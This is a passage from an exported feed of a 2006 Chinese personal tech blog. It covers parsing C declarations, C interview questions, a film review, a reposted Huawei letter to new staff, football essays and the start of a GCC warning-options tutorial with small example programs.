在遇到后缀操作符之前我们遇到了\u0026rsquo;)\u0026rsquo;，这样我们就不能看后缀操作符了，要去看优先级低一些的前缀操作符，我们发现了\u0026rsquo;*\u0026rsquo;，我们得到结论p是一个指向…的指针；\n(3) 出了包围p的那个\u0026rsquo;()\u0026rsquo;，我们继续看后缀操作符，发现一个\u0026rsquo;[]\u0026rsquo;，我们知道p这个指针是指向一个数组，而且这个数组有20个某类型的元素，但如果我们遇到\u0026rsquo;()\u0026rsquo;，那p指向的就是一个函数了；\n(4) 那这是一个什么样的数组呢？那我们的继续分析前缀操作符才能得知，在p的左面我们只发现了int类型说明符，我们知道该数组是一个int类型的拥有20个元素的数组，至此分析完毕。\n(5) 最后得出结论：p是一个指向一个整型数组的指针，该数组拥有20个元素。\n例子2\nchar * const *(*p)();\n(1) 我们依然从名字p开始；\n(2) 在遇到后缀操作符之前我们遇到了\u0026rsquo;)\u0026rsquo;，这样我们就不能看后缀操作符了，要去看优先级低一些的前缀操作符，我们发现了\u0026rsquo;*\u0026rsquo;，我们得到结论p是一个指向…的指针；\n(3) 出了包围p的那个\u0026rsquo;()\u0026rsquo;，我们继续看后缀操作符，发现一个\u0026rsquo;()\u0026rsquo;，我们得知p是一个指向函数的指针；\n(4) 那么这是一个什么样的函数呢？那我们的继续分析前缀操作符才能得知，而此时前缀应该表示该函数的返回类型了，这是个什么返回类型呢？我们看到了\u0026rsquo;*\u0026rsquo;，说明这个返回类型是一个指针；\n(5) 那么返回类型是什么样的指针呢？继续向左，我们看到了char * const，根据规则最后一条，我们得知这是一个指向字符类型的常量指针；\n(6) 最后得出结论：p是一个函数指针，这个函数没有参数，其返回类型为一个指向字符类型的常量指针的指针。\n通过上面的例子我们可以得出这样的\u0026rsquo;经验\u0026rsquo;：\n(1) 名字的\u0026rsquo;紧邻括号\u0026rsquo;范围内，是对名字的说明，名字无非有两种情况：指针和非指针。\n(*p) — 说明p是一个指针；例如：int (*p)[20];\n(p) or p — 说明p不是一个指针，例如：int *p[20] int *(p)[20]; 我们在分析的时候即使p没有\u0026rsquo;紧邻括号\u0026rsquo;，我们也可以加一个\u0026rsquo;紧邻括号\u0026rsquo;帮助分析。\n(2) 如果名字是个指针(非指针情况较简单)，那么跳出名字\u0026rsquo;紧邻括号\u0026rsquo;后根据后缀不同也有两种情况：\n该名字一个指针数组：后缀为[]，例如 int *p[20]；\n该名字一个函数指针；后缀为()，例如 int *p()；\n(3) 再得知该名字的含义后，其前缀感觉就不是用来说明该名字本身了，而是用来说明名字所指的那个对象了，这里也有两种情况：\n说明是什么样的数组：当说明数组时，前缀的含义就是表明数组是什么类型的了；\n说明是什么样的函数：当说明函数时，前缀的含义就是表明函数的返回类型是什么了。\n以上的这三点也可以说是对\u0026rsquo;优先级规则\u0026rsquo;的再理解了^_^。\n[额外收获]\n\u0026lsquo;优先级规则\u0026rsquo;的最后一条则可以总结const(or volatile)的用法，关于const的不同\u0026rsquo;变型\u0026rsquo;在网络上有太多的说法，而这里一句即将之概括了，这也是我看到的最好理解的一种理解方法。我们可以应用该口诀对下面三种const的\u0026rsquo;变型\u0026rsquo;进行解释：\nconst int * p — const直接作用于后面的类型说明符，说明p是一个指向整型常量的指针；\nint * const p — const后面没有类型说明符，则const作用其左边紧跟的int*类型指针，所以p本身是一个整型常量指针，其值在第一次赋值后就不能再改变了。\nint const * p — 这是个不规则的特例，按照\u0026rsquo;优先级规则\u0026rsquo;的说法它不符合任何一种情况，const后面既没有类型说明符，其左面也没有*号，这里其实我们不妨扩展规则如下：\u0026lsquo;如果const和(或)volatile关键字的后面紧跟类型说明符(如int, long等)，那么它作用于类型说明符。在其他情况下，const和(或)volatile关键字作用于其左边紧邻的指针星号，如果左面没有星号，则直接作用于其左边的紧邻的类型说明符\u0026rsquo;。按照这种扩展(不保证这种扩展的正确性哟^_^)，我们可以得出这里的p是一个指向整型常量的指针。\n不知道说到这，大家体会到\u0026rsquo;异曲同工\u0026rsquo;之妙没有!^_^\n","permalink":"https://tonybai.com/2006/03/26/understand-priority-rule-for-parse-c-declaration/","summary":"\u003cp\u003e第一次看《C专家编程》一书时关于其采用的\u0026rsquo;优先级规则\u0026rsquo;分析C复杂声明时看得很糊涂，在\u003ca href=\"http://tonybai.com/2006/03/26/another-example-for-c-right-left-rule/\"\u003e理解\u0026rsquo;right-left\u0026rsquo;规则\u003c/a\u003e分析C复杂声明后，再回过头来看\u0026rsquo;优先级规则\u0026rsquo;，居然发现它们的异曲同工之妙^_^。\u003c/p\u003e\n\u003cp\u003e其实\u0026rsquo;优先级规则\u0026rsquo;的分析过程极其类似\u0026rsquo;right-left\u0026rsquo;规则，下面首先摘录\u0026rsquo;优先级规则\u0026rsquo;的\u0026rsquo;口诀\u0026rsquo;，然后再\u0026rsquo;一招一式\u0026rsquo;的细致讲解^_^。\u003c/p\u003e","title":"理解C复杂声明之'优先级规则'"},{"content":"我有这样的一个习惯，就是看书的时候总是喜欢自问自答，这不周末第二次温习’C专家编程’一书，便有了如下若干问题，明为提问，实则是在提醒自己好好想想这些问题，如果大家有兴趣，也可以给出你自己的答案，如果觉得琢磨不透，可翻看’C专家编程’一书，或多敲几次键盘，自己试上一把！\n1、你认为C语言[注1]是一门成功的语言吗？如果认为是，那么你认为它成功的关键在什么地方？或者说它的魅力所在？\n2、C语言中的函数是否允许使用复合类型(如结构体类型)作为返回值？\n3、C语言中的’一般算术运算’(usual arithmetic conversion)中蕴含着一种称作’值保留(value preserving)’的原则，能详细阐述一下’值保留’的含义吗？\n4、如何理解C语言中复杂的类型声明？讲一下你自己最常用的理解这些复杂声明的方法。\n5、下面有四组语句：\n(1) struct { int x; int y;} p1, p2;\n(2) struct point { int x; int y;} p1, p2;\n(3) struct point {int x; int y;};\nstruct point p1, p2;\n(4) typedef struct point {int x; int y} point;\npoint p1, p2;\n针对以上这几组语句，回答第4组的第一句的两个’point’有何不同，各自指代什么？(注意：1~3组语句可以作为回答该问题的一个思路的提示)。\n6、函数原型(function prototype)和函数签名(function signature)的区别？它们的各自的主要用处在哪？\n7、谈谈下面的两组语句是否可行？如果不可行，说明理由！\n(1) #define cup int\nunsigned cup i;\n(2) typedef cup int;\nunsigned cup i;\n8、指针与数组的不同点(无需说全，谈谈自己的看法即可)，举例说明？\n9、谈谈在编译链接时，从静态库和动态库提取符号方式有何区别？\n10、下面有一段程序：\nchar g_c[60];\nint g_i1;\nint g_i2 = 10;\nint main() {\nint l_i = 89;\nreturn 0;\n}\n请尝试说明\n(1) 变量g_c、g_i1、g_i2以及l_i各自在目标文件a.out中哪些段(section)中？(供选择的段text, data, bss, 某些变量可能不在任何一个段中)\n(2) 变量g_c、g_i1、g_i2以及l_i各自在运行进程的地址空间的哪些段(section)中？(供选择的段text, data, bss, heap/stack某些变量可能不在任何一个段中)\n11、为下面的函数设计参数类型：\n(1) 将char a[5][6]传给函数function1，为使function1的形参能与实参a类型匹配，请给出function1的参数原型；\n(2) 将char *b[6]传给函数function2，为使function2的形参能与实参b类型匹配，请给出function2的参数原型；\n(3) 将char (*c)[7]传给函数function3，为使function3的形参能与实参c类型匹配，请给出function3的参数原型。\n以上问题部分是开放的，如问题1、问题8。能很好的回答上面问题的选手，我想他/她对C语言的理解已经有一定深度了^_^。\n[注1]\n本文的’C语言’如无特指均为ANSI C。\n","permalink":"https://tonybai.com/2006/03/26/interview-questions-for-c-programmer/","summary":"\u003cp\u003e我有这样的一个习惯，就是看书的时候总是喜欢自问自答，这不周末第二次温习’C专家编程’一书，便有了如下若干问题，明为提问，实则是在提醒自己好好想想这些问题，如果大家有兴趣，也可以给出你自己的答案，如果觉得琢磨不透，可翻看’C专家编程’一书，或多敲几次键盘，自己试上一把！\u003c/p\u003e","title":"如果让我面试C程序员，我会问"},{"content":"记得上次看’勇敢者的游戏’还是在10年前吧，那时候是学校包场。’十年磨一剑’，’勇敢者游戏2‘又要和大家见面了，该片能否重现十年前的辉煌，我们拭目以待，有幸先堵了这部片子，这里就说说，赞扬较少，批评居多。\n十年前的那部’勇敢者游戏’让和我同龄的中国中、小朋友见识了好莱坞的’魔法’，棋盘里蹦出的蚊子、猴子、老虎、大象、猎人让大家惊奇的合不拢嘴。一般影坛有这样的一个不成文的潜规则，那就是经典之作的续集成功的概率往往小之又小，目前我知道的例外包括星战、指环王和骇客帝国，当然肯定不止这些，这里仅举例罢了。\n看完这部片子第一感觉：失望。虽然有’肖申克的救赎’男主角蒂姆·罗宾斯的友情客串，但是却丝毫不能给这部片子带来任何’亮点’。故事情节并不能像第一部那样’悬念迭出，惊世骇俗’，而且人们熟知的第一部的那种棋盘发出的’鼓点声’也销声匿迹了。太空历险我觉得本身就无任何新意，如果对比起来我更喜欢第一部的那种时间跨度大，剧情有悬念，衔接紧密的那种。记得看第一部时，很多情节自己都是在最后才理解的，当然有年龄的因素限制。\n从技术方面讲该片肯定要超越其前者，毕竟过了近10年了，再不进步就说不过去了。而同样是两个小演员，第二部中的两个小家伙的演技却始终让人感觉差强人意，缺乏节奏感，缺乏爆发力，让人昏昏欲睡。场景感觉也缺乏合理性，一个’超级坚固的’房子居然在’狂轰乱炸’中安然处之，看到影片中间的时候我想很多人都会想这个房子难道是’金刚石’做的。\n我想这些已经足够了，看完后赶紧把它删掉，让它尽快从头脑中消失，生怕其影响到其前部在我心目中的良好形象。\n","permalink":"https://tonybai.com/2006/03/23/thought-on-jumanji2/","summary":"\u003cp\u003e记得上次看’勇敢者的游戏’还是在10年前吧，那时候是学校包场。’十年磨一剑’，’\u003ca href=\"http://www.sonypictures.com/homevideo/zathura/index.html\"\u003e勇敢者游戏2\u003c/a\u003e‘又要和大家见面了，该片能否重现十年前的辉煌，我们拭目以待，有幸先堵了这部片子，这里就说说，赞扬较少，批评居多。\u003c/p\u003e\n\u003cp\u003e十年前的那部’勇敢者游戏’让和我同龄的中国中、小朋友见识了好莱坞的’魔法’，棋盘里蹦出的蚊子、猴子、老虎、大象、猎人让大家惊奇的合不拢嘴。一般影坛有这样的一个不成文的潜规则，那就是经典之作的续集成功的概率往往小之又小，目前我知道的例外包括星战、指环王和骇客帝国，当然肯定不止这些，这里仅举例罢了。\u003c/p\u003e","title":"品味'勇敢的游戏2'"},{"content":"这是2005年刊登在华为技术公司公开刊物’华为人’163期上的一篇文章，文章作者就是华为的缔造者–任正非。之所以转帖这篇文章是因为我看完这篇文章后有几点感触：\n1. 实 — 这篇文章真实反映了华为的文化，华为需要什么样的人，怎样才能做好华为人，个人利益与华为利益的矛盾与统一；\n2. 博 — 无论你是否为华为员工，你都能从中学到或悟到些什么；\n3. 异 — 在欧美文化主导的世界企业文化或企业哲学潮流中，华为在某些方面有些特立独行。\n文章全文转贴如下：\n您有幸加入了华为公司，我们也有幸获得了与您合作的机会。我们将在相互尊重、相互理解和共同信任的基础上，与您一起渡过在公司工作的岁月。这种尊重、理解和信任是愉快地进行共同奋斗的桥梁与纽带。\n华为公司不单需要有高层次、高素质的科技人才和管理人才，同时还必须有一个能被这些人才认同的价值体系，这就是说要建立一个共同拥有的企业文化。华为的企业文化是建立在民族优良传统文化基础上的企业文化，同时，这个文化是开放的、包容的，不断吸纳世界上好的优良文化和管理的。如果把这个文化封闭起来，以狭隘的民族自尊心，狭隘的华为自豪感，狭隘的自我品牌意识为主导，排斥别的先进文化，那么华为一定会失败的。这个企业文化粘合全体员工团结合作，走群体奋斗的道路。有了这个平台，你的聪明才智方能很好发挥，并有所成就。没有责任心，缺乏自我批判精神，不善于合作，不能群体奋斗的人，等于丧失了在华为进步的机会。那样您会空耗了宝贵的光阴，还不如在试用期中，重新决定您的选择。进入华为并不意味着高待遇。对新来的员工，因为没有考评记录，起点较低，晋升也许没有您期望得那么快，为此深感歉意。\n公司管理是一个矩阵系统，运作起来就是一个求助网。希望您们成为这个大系统中一个开放的子系统，积极、有效地既求助于他人，同时又给予他人支援，这样您就能充分地利用公司资源，您就能借助别人提供的基础，吸取别人的经验，很快进入角色，很快进步。求助没有什么不光彩的，做不好事才不光彩，求助是参与群体奋斗的最好形式。如果封闭自己，怕工分不好算，想单打独斗，搞出点名堂来，是万万不可能的。就算您搞出来，也需要较长时间，也许到那时，你的工作成果已没有什么意义了。实践是您水平提高的基础，它充分地检验了您的不足，只有暴露出来，您才会有进步。实践再实践，尤其对青年学生十分重要。只有实践后善于用理论去归纳总结，才会有飞跃的提高。要摆正自己的位置，不怕做小角色，才有可能做大角色。有一句名言：“没有记录的公司，迟早是要垮掉的！”多么尖锐。一个不善于总结的公司会有什么前途，个人不也是如此吗？\n我们崇尚雷锋、焦裕禄精神，并在公司的价值评价及价值分配体系中体现：决不让雷锋们、焦裕禄们吃亏，奉献者定当得到合理的回报。\n我们呼唤英雄。不让雷锋吃亏，本身就是创造让各路英雄脱颖而出的条件。雷锋精神与英雄行为的核心本质就是奉献。雷锋和英雄都不是超纯的人，也没有固定的标准，其标准是随时代变化的。在华为，一丝不苟地做好本职工作就是奉献，就是英雄行为，就是雷锋精神。\n实践改造了，也造就了一代华为人。“您想做专家吗？一律从基层做起”，已经在公司深入人心。进入公司一周以后，博士、硕士、学士以及在原工作单位取得的地位均消失，一切凭实际能力与责任心定位，对您个人的评价以及应得到的回报主要取决于您实干中体现出来的贡献度。在华为，您给公司添上一块砖，公司给您提供走向成功的阶梯。希望您接受命运的挑战，不屈不挠地前进，您也许会碰得头破血流。但不经磨难，何以成才！在华为改变自己命运的方法，只有二个：一、努力奋斗；二、做出良好的贡献。\n公司要求每一个员工，要热爱自己的祖国。热爱我们这个刚刚开始振兴的民族。只有背负着民族的希望，才能进行艰苦的搏击，而无怨无悔。我们总有一天，会在世界舞台上，占据一席之地。无论任何时候、无论任何地点都不要作对不起祖国、对不起民族的事情。要模范遵守国家法规和社会公德，要严格遵守公司的各项制度与管理规范。对不合理的制度，只有修改以后才可以不遵守。任何人不能超越法律与制度，不贪污、不盗窃、不腐化。严于律己，帮助别人。\n您有时会感到公司没有您想像得公平。真正绝对的公平是没有的，您不能对这方面期望太高。但在努力者面前，机会总是均等的，只要您不懈地努力，您的主管会了解您的。要承受得起做好事反受委屈，“烧不死的鸟就是凤凰”，这是华为人对待委屈和挫折的态度和挑选干部的准则。没有一定的承受能力，今后如何能做大梁。其实一个人的命运，就掌握在自己手上。生活的评价，是会有误差的，但决不至于黑白颠倒，差之千里。要深信，在华为，是太阳总会升起，哪怕暂时还在地平线下。您有可能不理解公司而暂时离开，我们欢迎您回来。您更要增加心理的承受能力，连续工龄没有了，与同期伙伴的位置差距拉大了。我们相信您会加步赶上，但时间对任何人都是一样长的。\n世上有许多“欲速则不达”的案例，希望您丢掉速成的幻想，学习日本人踏踏实实、德国人一丝不苟的敬业精神。现实生活中能把某一项技术精通是十分难的。您想提高效益、待遇，只有把精力集中在一个有限的工作面上，不然就很难熟能生巧。您什么都想会、什么都想做，就意味着什么都不精通，做任何一件事对您都是一个学习和提高的机会，都不是多余的。努力钻进去兴趣自然在。我们要造就一批业精于勤、行成于思，有真正动手能力和管理能力的干部。机遇偏爱踏踏实实的工作者。\n公司永远不会提拔一个没有基层经验的人做高层管理者。遵循循序渐进的原则，每一个环节对您的人生都有巨大的意义，您要十分认真地去对待现在手中的任何一件工作，十分认真地走好职业生涯的每一个台阶。您要尊重您的直接领导，尽管您也有能力，甚至更强，否则将来您的部下也不会尊重您，长江后浪总在推前浪。要有系统、有分析地提出您的建议，您是一个有文化者，草率的提议，对您是不负责任，也浪费了别人的时间。特别是新来者，不要下车伊始，动不动就哇啦哇啦。要深入、透彻地分析，找出一个环节的问题，找到解决的办法，踏踏实实地一点一点地去做，不要哗众取宠。\n公司建立了各级管理团队，在高层开放民主。在公司的授权下，各级部门首长办公会议负责日常运行的管理。部门首长办公会议是实行权威制，一旦决定了要坚决执行，有不同意见可以反映，但必须服从它的决定，以及快速反应。\n公司管理决策的原则是从贤不从众。管理的原则是集体负责制。这种建立在统一经营管理理念基础上的民主决策和权威管\n","permalink":"https://tonybai.com/2006/03/17/a-letter-to-huawei-beginner/","summary":"\u003cp\u003e这是2005年刊登在\u003ca href=\"http://www.huawei.com\"\u003e华为技术公司\u003c/a\u003e公开刊物’\u003ca href=\"http://www.huawei.com/cn/publications/PublicationsIndex.do?pid=87\"\u003e华为人\u003c/a\u003e’163期上的一篇文章，文章作者就是华为的缔造者–任正非。之所以转帖这篇文章是因为我看完这篇文章后有几点感触：\u003cbr\u003e\n1. 实 — 这篇文章真实反映了华为的文化，华为需要什么样的人，怎样才能做好华为人，个人利益与华为利益的矛盾与统一；\u003cbr\u003e\n2. 博 — 无论你是否为华为员工，你都能从中学到或悟到些什么；\u003cbr\u003e\n3. 异 — 在欧美文化主导的世界企业文化或企业哲学潮流中，华为在某些方面有些特立独行。\u003c/p\u003e","title":"华为致新员工书"},{"content":"‘大力神杯来到中国了！’这是最近国内足坛上的一则热度很高的新闻，因为这是大力神金杯真品第一次登陆中国，所以无论是媒体还是球迷都有很高的热情，今晚的’足球之夜‘栏目也作了一期关于’大力神杯’的和球迷互动的’我爱世界杯’专题节目。\n自从1998年开始接触世界杯，我就对’大力神杯’那完美的设计情有独钟。可以说目前世界上任何一项体育或娱乐奖项的价值都不如这大力神金杯。在节目中负责’大力神杯登陆中国’活动的一位负责人曾这样说：’拿两座奥斯卡小金人跟我换大力神杯我都不换’。试想代表着4年举办一次的号称世界第一运动–足球比赛的最高荣誉，大力神杯的价值已经远远超越了其4970克的黄金纯金杯身，它所代表的荣誉和给世界球迷带来的欢乐才是其真正的价值所在。\n2006年6月9日~7月9日，全世界的目光将聚焦在德国，聚焦在世界杯赛场，聚焦在这代表足球至高无上荣誉的’大力神’金杯上，到那时金杯会再次给球迷带来激情四射的快乐！\n","permalink":"https://tonybai.com/2006/03/16/one-worldcup-vs-two-oscar-award/","summary":"\u003cp\u003e‘\u003ca href=\"http://fifaworldcup.yahoo.com/06/en/060315/1/6aq1.html\"\u003e大力神杯来到中国了\u003c/a\u003e！’这是最近国内足坛上的一则热度很高的新闻，因为这是大力神金杯真品第一次登陆中国，所以无论是媒体还是球迷都有很高的热情，今晚的’\u003ca href=\"http://www.cctv.com/program/soccernight/01/index.shtml\"\u003e足球之夜\u003c/a\u003e‘栏目也作了一期关于’大力神杯’的和球迷互动的’我爱世界杯’专题节目。\u003c/p\u003e\n\u003cp\u003e自从1998年开始接触世界杯，我就对’大力神杯’那完美的设计情有独钟。可以说目前世界上任何一项体育或娱乐奖项的价值都不如这大力神金杯。在节目中负责’大力神杯登陆中国’活动的一位负责人曾这样说：’拿两座奥斯卡小金人跟我换大力神杯我都不换’。试想代表着4年举办一次的号称世界第一运动–足球比赛的最高荣誉，大力神杯的价值已经远远超越了其4970克的黄金纯金杯身，它所代表的荣誉和给世界球迷带来的欢乐才是其真正的价值所在。\u003c/p\u003e","title":"'大力神杯' vs. 两个'奥斯卡小金人'"},{"content":"正值春暖花开的季节，大地复苏，人的心情到未必如同春天般’灿烂’。初春三月，同时也正值跳槽旺季，身边的一些同事也’随行就市’陆续离开了我们朝夕相处的地方，各奔前程去了。留下的人心中自然也不是滋味，工作起来劲头儿倒也不是十足。茫然间突然头脑中迸出一个想法：’去旅行，一次长途的旅行’。\n说起来很惭愧，长了这么大了，到过的祖国最南端的城市居然是北京，可发一笑吧！更有意思的是自己还有着一半的南方人的血统，我母亲是江苏扬州人，出生在扬州，小时候因姥爷调动工作支援北方而到了北方一座小城扎根。我的很多亲戚都分布在扬州、无锡、上海、南京等南方城市，也正因为相隔甚远，而多年不成谋面。从小就喜欢听姥姥给我将她小时候在扬州小城的故事，水乡的吃穿住行，水乡的质朴与宁静。让我这个生在北方长在北方的地道的北方小家伙新奇不已，以至于以后每每在电视机上看到有关扬州的报道，自己都要’驻足’观看一番，即使这样扬州在我心中仍然还是一个神秘的城市。\n说罢了扬州，其实在我心目中有太多的南方地区是我向往的地方，秀美的黄山、古老的景德镇、甲天下的桂林、四季如春的昆明、仙境般的九寨沟等等数不胜数。虽未亲身体会，但一直有这样的想法：南方的历史文化气息比北方要浓烈的多，而这些又恰恰最能体现中国文化的底蕴。\n真希望能来一次横贯南北的旅行，那将是多么的妙不可言！远离大城市的喧嚣，忘却一切身边的烦恼和忧愁，去感受一下祖国南部秀美的山川河流，去陶冶一下浓厚的历史文化气息，哇，想法简直棒极了！What a great idea!\n‘Hey，Tony，别忘了九点开会’!\n如梦初醒！^_^\n","permalink":"https://tonybai.com/2006/03/16/want-to-travel/","summary":"\u003cp\u003e正值春暖花开的季节，大地复苏，人的心情到未必如同春天般’灿烂’。初春三月，同时也正值跳槽旺季，身边的一些同事也’随行就市’陆续离开了我们朝夕相处的地方，各奔前程去了。留下的人心中自然也不是滋味，工作起来劲头儿倒也不是十足。茫然间突然头脑中迸出一个想法：’去旅行，一次长途的旅行’。\u003c/p\u003e","title":"想去旅行"},{"content":"有人说在巴塞罗那，有位球员能像大罗一样射门进球，能像齐达内一样过人组织，能像贝克汉目一样抢断长传，能像费戈一样纵深突破，他一个人完成了皇马四大天王的工作，这位球员就是巴西天才小罗，全名罗纳尔迪尼奥(Ronaldinho)！\n对于现在状态和人气都如日中天的小罗来说，用激情、快乐、潇洒来形容他都不为过，但这里我却用了\u0026rsquo;阳光\u0026rsquo;二字。\u0026lsquo;阳光\u0026rsquo;本来是用来形容单纯、快乐、无忧无虑的大男孩儿的，来形容小罗是否有些不恰当呢？很多人会摆出各种反对的理由：小罗不如贝克汉姆帅、不如巴蒂有男子气概等等。但是别忘了我们是在谈论足球场上的小罗。\n记得今年中央五套第一期\u0026rsquo;天下足球\u0026lsquo;节目就推出了\u0026rsquo;我是小罗\u0026rsquo;专题，从1980年3月21日小罗出生一直到小罗蝉联2005年世界足球先生，整整一期节目都是围绕小罗的，起码我是第一次看到\u0026rsquo;天下足球\u0026rsquo;这么安排节目，也可见小罗在当今足坛的举足轻重的地位。言归正传，我之所以用\u0026rsquo;阳光\u0026rsquo;来形容小罗，是因为我感觉小罗在足球场上与其他球员最大的不同的就是他在享受足球给他带来的乐趣，无论什么样级别的比赛，他看起来毫无紧张的感觉，而且这种轻松的感觉会传染给其他队友乃至现场和电视机前的观众，让人真正感到踢球或看球是一种放松、是一种快乐的享受，这恰恰是\u0026rsquo;阳光\u0026rsquo;男孩儿应具备的一些特点。\n细心的球迷都会发现，球场上的小罗总是面带微笑，每当进球之后小罗都总能感染现场的球迷和他一起庆祝，哪怕是在客场，他好像在向大家讲述一个道理：\u0026lsquo;足球就是一种快乐，请和我一起尽情的感受吧\u0026rsquo;！足球是一种有着节奏感的运动，而小罗恰恰又是一个善于控制比赛节奏的球员，他就好似一名指挥大师，主导着整个比赛的节奏。时而\u0026rsquo;忙里偷闲\u0026rsquo;，少有触球；时而\u0026rsquo;暴风骤雨\u0026rsquo;，一旦触球，就可能给对手致命的打击，小罗的传球技术之精准和恰到好处是我见到的当今足坛独一无二的。小罗是个全能型攻击球员，\u0026lsquo;我是小罗\u0026rsquo;总结了小罗的几大绝技如任意球、头球、停球、踩单车、神龙摆尾(盘带)、挑球过人、旱地拔葱(射门)、声东击西(传球)等。这些看似平常的足球动作在冠以\u0026rsquo;小罗氏\u0026rsquo;之后，就变成了与众不同、简单有效、毫不花哨的克敌制胜的绝招了。就好比我在\u0026quot;闲说\u0026rsquo;招式\u0026rsquo;与\u0026rsquo;内功\u0026rsquo;\u0026ldquo;一文中所说的那样\u0026quot;同样使用太祖长拳，为什么乔峰使出来的威力就那么大呢\u0026rdquo;。很多人包括一些足球名家都预测小罗会成为继贝利、马拉多纳之后的新一代球王，其实在很多球迷心目中小罗已经是当之无愧的球王了。我的想法：球王不球王的不是最重要的，最重要的是球场上小罗身上拥有的那种\u0026rsquo;阳光\u0026rsquo;、那种会传染的快乐！\n还有不到100天世界杯的大幕就将拉开了，到那时真心希望小罗能把其足球场上的\u0026rsquo;阳光\u0026rsquo;洒向世界每一个有球迷的角落里。\n","permalink":"https://tonybai.com/2006/03/15/sunshine-ronaldinho/","summary":"\u003cp\u003e有人说在巴塞罗那，有位球员能像大罗一样射门进球，能像齐达内一样过人组织，能像贝克汉目一样抢断长传，能像费戈一样纵深突破，他一个人完成了皇马四大天王的工作，这位球员就是巴西天才小罗，全名\u003ca href=\"http://www.ronaldinho-gaucho.com/\"\u003e罗纳尔迪尼奥\u003c/a\u003e(Ronaldinho)！\u003c/p\u003e","title":"'阳光'小罗"},{"content":"程序员是追求完美的一族，即使是一般的程序员大多也都不想看到自己的程序中有甚至那么一点点的瑕疵。遇到任意一条编译器警告都坚决不放过。有人会说：我们可以使用比编译器更加严格的静态代码检查工具，如splint。这个建议也很不错。不过lint工具使用起来较繁琐，有时候还需要记住一些特定符号并插入到你自己的代码中才行，门槛较高，这也让很多人止步于此。那么我们就从此放弃么？不，如今的编译器做得都很好，它可以帮助我们的找到绝大多数可能出现问题的代码，前提是你要学会控制编译器去找到这些问题代码，而熟悉编译器的警告选项恰恰是体现控制力的好方法。当你可以自如控制编译器警告输出的时候，你就算是\u0026rsquo;入道\u0026rsquo;了，同时你对语言的理解也更进一步了。\n有人说：我就是用一个-Wall选项就可以了，一般选手可以这么做，而且他可以不知道-Wall会跟踪哪些类型的问题；但是高级选手是不会只使用-Wall的，他会把每条警告都研究的很透彻，会在Makefile中列出他想让编译器输出哪些类型的警告以替代-Wall，他会屏蔽掉那些对他的代码\u0026rsquo;毫无用处\u0026rsquo;的警告(很可能他使用了编译器对语言的扩展功能)，他会有个和编译器交流的过程。\n俗话说：\u0026lsquo;工欲善其事，必先利其器\u0026rsquo;，一直在工作中使用GNU C编译器(以下简称GCC)，这里对GCC的一些警告选项细致的分析，并列举几个简单的例子[注1]供分析参考。\n1. -Wall集合警告选项\n我们平时可能大多数情况只使用-Wall编译警告选项，实际上-Wall选项是一系列警告编译选项的集合。下面逐一分析这一集合中的各个选项：\n[-Wchar-subscripts]\n如果数组使用char类型变量做为下标值的话，则发出警告。因为在某些平台上char可能默认为signed char，一旦溢出，就可能导致某些意外的结果。\ne.g.\n/* test_signed_char.c */\n#include\nint main () {\nchar c = 255; // 我们以为char是无符号的，其范围应该是[0,255]\nint i = 0;\nint a[256];\nfor (i = 0; i \u0026lt; 256; i++) {\na[i] = 1;\n}\nprintf(\u0026quot;%d\\n\u0026quot;, c); // 我们期待输出255\nprintf(\u0026quot;%d\\n\u0026quot;, a[c][/c][/c]); // 我们期待输出1\nprintf(\u0026quot;%d\\n\u0026quot;, a[255]);\nreturn 0;\n}\ngcc -Wchar-subscripts test_signed_char.c\ntest_signed_char.c: In function `main\u0026rsquo;:\ntest_signed_char.c:13: warning: array subscript has type `char\u0026rsquo;\n其输出结果：\n-1\n-4197476\n1\n从输出结果来看Solaris 9/gcc 3.2上char默认实现类型为signed char；在Windows XP/gcc-3.4.2上也是一样。\nWindows上的输出结果：\n-1\n16 (随机值)\n1\n[-Wcomment]\n当\u0026rsquo;/*\u0026lsquo;出现在 \u0026lsquo;/* … */\u0026lsquo;注释中，或者\u0026rsquo;\\\u0026lsquo;出现在\u0026rsquo;// …\u0026lsquo;注释结尾处时，使用-Wcomment会给出警告。不要小觑这些马虎代码，它很可能会影响程序的运行结果。如下面的例子：\ne.g.\n/*\n* test_comment.c\n* gcc -Wcomment test_comment.c\n*/\n#include\nint main() {\nint a = 1;\nint b = 2;\nint c = 0; // ok just test\\\nc = a + b;\n/*\n* 这里我们期待c = 3\n* /* 但实际上输出c = 0\n*/\nprintf(\u0026ldquo;the c is %d\\n\u0026rdquo;, c);\nreturn 0;\n}\ngcc -Wcomment test_comment.c\ntest_comment.c:10:30: warning: multi-line comment\ntest_comment.c:15:12: warning: \u0026ldquo;/*\u0026rdquo; within comment\n输出：\nthe c is 0\n[-Wformat]\n检查printf和scanf等格式化输入输出函数的格式字符串与参数类型的匹配情况，如果发现不匹配则发出警告。某些时候格式字符串与参数类型的不匹配会导致程序运行错误，所以这是个很有用的警告选项。\ne.g.\n/*\n* test_format.c\n*/\n#include\nint main() {\nlong l = 1;\ndouble d = 55.67;\nprintf(\u0026quot;%d\\n\u0026quot;, l);\nprintf(\u0026quot;%d\\n\u0026quot;, d);\nreturn 0;\n}\ngcc -Wformat test_format.c\ntest_format.c: In function `main\u0026rsquo;:\ntest_format.c:10: warning: int format, long int arg (arg 2)\ntest_format.c:11: warning: int format, double arg (arg 2)\n输出：\n1\n1078711746\n[-Wimplicit]\n该警告选项实际上是-Wimplicit-int和-Wimplicit-function-declaration两个警告选项的集合。前者在声明函数却未指明函数返回类型时给出警告，后者则是在函数声明前调用该函数时给出警告。\ne.g.\n/*\n* test_implicit.c\n*/\n#include\nadd(int a, int b) { //函数没有声明返回类型\nreturn a + b;\n}\nint test() {\nint a = 0;\nint b = 0;\nint c = 0;\nint d = 0;\nc = add(a, b);\nd = sub(a, b); //未声明sub的函数原型\nreturn 0;\n}\ngcc -Wimplicit -c test_implicit.c\ntest_implicit.c:7: warning: return type defaults to `int\u0026rsquo;\ntest_implicit.c: In function `test\u0026rsquo;:\ntest_implicit.c:18: warning: implicit declaration of function `sub\u0026rsquo;\n[-Wmissing-braces]\n当聚合类型或者数组变量的初始化表达式没有\u0026rsquo;充分\u0026rsquo;用括号{}括起时，给出警告。文字表述很难理解，举例说明则清晰些。看下面的例子：\ne.g.\n/*\n* test_missing_braces.c\n*/\nstruct point {\nint x;\nint y;\n};\nstruct line {\nstruct point start;\nstruct point end;\n};\ntypedef struct line line;\nint main() {\nint array1[2][2] = {11, 12, 13, 14};\nint array2[2][2] = {{11, 12}, {13, 14}}; // ok\nline l1 = {1, 1, 2, 2};\nline l2 = {{2, 2}, {3, 3}}; // ok\nreturn 0;\n}\ngcc -Wmissing-braces test_missing_braces.c\ntest_missing_braces.c: In function `main\u0026rsquo;:\ntest_missing_braces.c:19: 